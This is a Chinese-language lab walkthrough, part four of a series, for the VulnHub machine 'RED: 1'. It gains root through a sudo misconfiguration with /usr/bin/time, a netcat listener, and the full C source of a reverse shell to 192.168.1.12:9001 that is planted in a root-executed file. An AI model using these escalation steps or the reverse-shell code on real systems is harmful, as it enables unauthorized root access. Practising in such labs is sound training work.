vulnhub靶场之RED: 1( 四 )


输入命令:sudo -l , 查看到ippsec不需要密码就提权的命令有time

vulnhub靶场之RED: 1

文章插图

vulnhub靶场之RED: 1

文章插图
切换ippsec账户 , 命令:sudo -u ippsec /usr/bin/time /bin/bash , 然后查看user.txt文件 。
vulnhub靶场之RED: 1

文章插图
【vulnhub靶场之RED: 1】因为我们的shell一直被断开 , 严重影响我们的操作 , 因此我们使用ippsec账户反弹一个shell , 这样当原ssh连接断开时 , 我们的shell就不会被断开了 , 这里注意cat和vi命令互换了 , 前面有提到 , 记得用:python3 -c 'import pty;pty.spawn("/bin/bash")'升级以下 。
vulnhub靶场之RED: 1

文章插图
下面这里可以看到左侧的shell已经被关闭了 , 但通过ippsec账户反弹的shell还可以正常使用 。
vulnhub靶场之RED: 1

文章插图
查找下ippsec账户所拥有权限的文件 , 发现了.git文件 , 命令:find / -group ippsec -type d 2>/dev/null | grep -v proc.
vulnhub靶场之RED: 1

文章插图
在.git文件里发现可执行程序rec并进行执行
vulnhub靶场之RED: 1

文章插图
查看了下目录下文件的所有者 , 发现是rev文件、supersecretfileuc.c文件具有root权限 , 然后想到了替换.c文件的内容 , 通过,c文件创建反弹root权限的shell , 然后等待rcv执行调用supersecretfileuc.c完成root权限shell的反弹 。
1、删除rev文件和supersecretfileuc.c文件 , rm rev和rm supersecretfileuc.c 。
2、在攻击机中开启9001端口的监听 , 命令:nc -lvvp 9001 。
3、在靶机/var/www/wordpress/.git目录下创建supersecretfileuc.c并写入c语言反弹shell的脚本 , 命令:cat supersecretfileuc.c 。
这里等待rev自动执行即可 , 手动执行是不行的 。
c语言的反弹shell的脚本可以在https://www.revshells.com/网站生成 , 脚本内容如下:
#include <stdio.h>#include <sys/socket.h>#include <sys/types.h>#include <stdlib.h>#include <unistd.h>#include <netinet/in.h>#include <arpa/inet.h>int main(void){int port = 9001;struct sockaddr_in revsockaddr;int sockt = socket(AF_INET, SOCK_STREAM, 0);revsockaddr.sin_family = AF_INET;revsockaddr.sin_port = htons(port);revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.12");connect(sockt, (struct sockaddr *) &revsockaddr,sizeof(revsockaddr));dup2(sockt, 0);dup2(sockt, 1);dup2(sockt, 2);char * const argv[] = {"sh", NULL};execve("/bin/sh", argv, NULL);return 0;}
vulnhub靶场之RED: 1

文章插图

vulnhub靶场之RED: 1

文章插图
在root下发现red留下的后门文件 , 删除就可以夺回控制权了 。
vulnhub靶场之RED: 1

文章插图
闲着无聊查看了一下后门文件信息 , 发现就是对上面替换的supersecretfileuc.c文件进行编译 , 然后并执行生成的文件 。

经验总结扩展阅读